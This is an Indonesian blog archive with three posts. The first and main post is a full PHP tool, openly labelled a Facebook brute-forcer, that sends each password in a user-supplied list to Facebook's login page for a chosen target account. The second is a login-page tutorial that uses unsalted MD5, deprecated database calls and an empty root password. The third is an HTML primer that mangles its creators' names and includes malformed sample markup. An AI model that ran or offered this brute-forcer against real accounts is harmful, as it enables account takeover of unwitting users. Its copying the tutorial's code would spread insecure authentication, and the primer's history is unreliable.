Sabtu, 29 Oktober 2011

[ PHP ] Facebook Brute Force

# Author : Poticous
# Tool Name : Facebook Brute Force
# Version : 1.0

<html>
<head>
<title>Facebook Brute By Poticous</title>
<style>
body{
    background:#000000;
    font-size:12px;
    font-family:Tahoma,Verdana,Arial;
    color:#fff;
}
.footer{
    text-align:right;
    padding:0 16px;
    font-size:10px;
    letter-spacing:2px;
    color:#999999;
}
.footer:hover{
    text-align:right;
    padding:0 16px;
    font-size:10px;
    letter-spacing:2px;
    color:#999999;
    text-decoration:underline;
}
.input{
    width:200px;
    background-color:#000;
    color:#fff;
}
textarea.input{
    height:100px;
    background:url(http://a2.l3-images.myspacecdn.com/profile01/114/d4382a4276b04c78ae2e84f3e0526cf1/p.jpg) no-repeat;
    color:#fff;
}
</style>
</head>
<body>
<?php
if($_POST){
$file = "devilzc0de_fb.txt";
$pwd = $_POST['passwd'];
$handle = fopen($file, 'w');
fwrite($handle, "$pwd");
fclose($handle);
set_time_limit(0);
$username = $_POST['email_target'];
$dictionary ="devilzc0de_fb.txt";
// Mencari Value Submit
$homepage = file_get_contents('http://www.facebook.com/');
$string_awal   = '<input value="';
$string_akhir   = '" name="login" onclick="" type="submit" id="uidny_1" />';
$homepage = explode($string_awal, $homepage);
$homepage = explode($string_akhir, $homepage[1]);
##########################################
function kontrol($emailtarget,$passtarget){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$emailtarget&pass=$passtarget&login=".$homepage[0]; ;
$ch = curl_init('https://www.facebook.com/login.php?login_attempt=1');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie_fb.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie_fb.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("<title>Facebook</title>",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "Kamus Password Tidak Di Temukan";exit;}
$lines=file($dictionary);
echo "Attack Starting..<br>";
sleep(10);
echo "Attack Started, brute forcing..<br>";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "<font color=\"green\"><b>[+]</b> username : $username , password : $line - Password found : $line</font><br>";}
else{echo "<font color=\"red\"><b>[-]</b> username : $username , password : $line - Password not found :  $line</font><br>";
}
}
}else{
?>
<form action="" method="post">
<p>
<label>Username<br>
<input type="text" name="email_target" class="input"></label>
</p>
<p>
<label>List Password<br>
<textarea name="passwd" class="input"></textarea></label>
</p>
<input type="submit" value="Attack">
</form>
<?
}
?>
<p class="footer">&copy; <?php echo date('Y'); ?> Poticous - Devilzc0de</p>
</body>
</html>
Kamis, 13 Oktober 2011

[ PHP ] Membuat Halaman Login


1. Pertama buat dulu Database dengan nama "login"
2. Buat Tabel "user" dengan Struktur Database Seperti :
Atau
CREATE TABLE `user` (
  `id` int(11) NOT NULL auto_increment,
  `username` varchar(255) collate latin1_general_ci NOT NULL,
  `password` varchar(255) collate latin1_general_ci NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci AUTO_INCREMENT=2 ;
INSERT INTO `user` (`id`, `username`, `password`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3 ');
21232f297a57a5a743894a0e4a801fc3 Adalah MD5 dari admin
Username : admin
Password :
admin

3. Buat file "koneksi.php" dengan code sebagai berikut :
<?php
// FIle koneksi.php
$mysql_server = "localhost";// mysql server
$mysql_username = "root";// mysql sername
$mysql_password = "";// mysql password
$mysql_database = "login";// nama Database
mysql_connect("$mysql_server","$mysql_username","$mysql_password") or die ("Tidak Konek Ke Server");
mysql_select_db("$mysql_database") or die ("Database Tidak Di Temukan");
?>


4. Buat file "index.php" dengan code sebagai berikut :
<?php
// File index.php
session_start();
?>
<html>
<head>
<title>Halaman Login By Poticous</title>
</head>
<body>
<?
include "koneksi.php";
if(!isset($_SESSION['user'])){
if($_SESSION['gagal']){
echo($_SESSION['gagal'] . '<br/>');
unset($_SESSION['gagal']);
}
?>
<form method="post" action="login.php">
Username : <br/><input type="text" name="username"/><br/>
Password : <br/><input type="password" name="password"/><br/><br/>
<input type="submit" value="Login"/>
</form>
<?
}else{
echo "<a href='logout.php' >Logout</a>";
}
?>
</body>
</html> 


5. Buat File "login.php" dengan code sebagai berikut :
<?
    session_start();
    include "koneksi.php";
    $username = addslashes(htmlspecialchars($_POST['username']));
    $password = addslashes(htmlspecialchars(md5($_POST['password'])));
    $result = mysql_query("select * from user where username='{$username}' 
                            and password='{$password}'");
    if($row = mysql_fetch_array($result)){
        $_SESSION['user']['id'] = $row['id'];
        $_SESSION['user']['username'] = $row['username'];
        $_SESSION['user']['password'] = $row['password'];
    }else{
        $_SESSION['gagal'] = '<h4>Username Dan Password Anda Salah.</h4>';
    }
    mysql_free_result($result);
    header("Location:index.php");
?>


6. Buat File "logout.php" dengan code sebagai berikut :
<?
    session_start();
    unset($_SESSION['user']);
    header("Location:index.php");
?> 


7. Halaman Login anda sudah jadi..

Sumber : Poticous
Rabu, 12 Oktober 2011

HTML Fundamental

Apa itu HTML ?

HTML atau Hypertext Markup Language merupakan salah satu format yang digunakan dalam pembuatan dokumen dan aplikasi yang berjalan dihalaman web. Sebenarnya, dokumen HTML hanyalah sebuah dokumen teks biasa dan disebut sebagai Markup Language yakni bahasa yang mengandung tanda (tag) tertentu yang digunakan untuk mengatur format tampilan suatu dokumen.  HTTP atau Hypertext Transfer Protokol merupakan protokol yang digunakan untuk mentransfer data atau document yang  berformat HTML dari web server ke browser (Internet Explorer, FireFox, Netscape Navigator, NeoPlanet, dll). Dengan HTTP inilah yang memungkinkan Anda menjelajah internet dan melihat halaman web.
Untuk membuat halaman HTML cukup memerlukan notepad yang telah disediakan oleh windows. Namun sekarang telah banyak software untuk mengolah halaman web. Tidak hanya HTML. Tetapi juga mendukung PHP, JavaScript, ASP, dll.Tidak usah banyak basa-basi, sekarang kita mulai saja membuat HTML awal

Dalam penggunaannya, sebagian besar kode HTML harus terletak di antara tag kontainer. Yaitu diawali dengan dan diakhiri dengan (terdapat tanda "/"). Struktur dasar dokumen HTML berisi elemen-elemen atau tag sebagai berikut:
<html>
<head>
<title>Judul Website</title>
</head>
<body>Isi Dari Web</body>
</html>

Sejarah HTML

HTML dibuat oleh kolaborasi Caillau TIM dengan Berners-lee robert ketika mereka bekerja di CERN pada tahun 1989 (CERN adalah lembaga penelitian fisika energi tinggi di Jenewa).
Tahun 1980, IBM memikirkan pembuatan suatu dokumen yang akan mengenali setiap elemen dari dokumen dengan suatu tanda tertentu. IBM kemudian mengembangkan suatu jenis bahasa yang menggabungkan teks dengan perintah-perintah pemformatan dokumen. Bahasa ini dinamakan Markup Langiage, sebuah bahasa yang menggunakan tanda-tanda sebagai basisnya. IBM menamakan sistemnya ini sebagai Generalized Markup Language atau GML.Tahun 1986, ISO menyatakan bahwa IBM memiliki suatu konsep tentang dokumen yang sangat baik, dan kemudian mengeluarkan suatu publikasi ( ISO 8879 ) yang menyatakan markup language sebagai standar untuk pembuatan dokumen-dokumen. ISO membuat bahasa ini dari GML milik IBM, tetapi memberinya nama lain, yaitu SGML ( Standard Generalized Markup Language ).ISO dalam publikasinya meyakini bahwa SGML akan sangat berguna untuk pemrosesan informasi teks dan sistem-sistem perkantoran. Tetapi diluar perkiraan ISO, SGML dan terutama subset dari SGML, yaitu HTML juga berguna untuk menjelajahi internet. Khususnya bagi mereka yang menggunakan World Wide Web. Versi terakhir dari HTML adalah HTML 4.01, meskipun saat ini telah berkembang XHTML yang merupakan pengembangan dari HTML.

Contoh dokumen HTML sederhana
<html>
<head>
</head> 
<title>Situs Saya</title>
<body>
<h4>Muhammad Irsyad Fauzan</h4>
<h3>Muhammad Irsyad Fauzan</h3>
<h2>Muhammad Irsyad Fauzan</h2>
<h1>Muhammad Irsyad Fauzan</h1>
<h2>Muhammad Irsyad Fauzan</h2>
<h3>Muhammad Irsyad Fauzan</h3>
<h4>Muhammad Irsyad Fauzan</h4>
</body>
</html>

Hasilnya Adalah :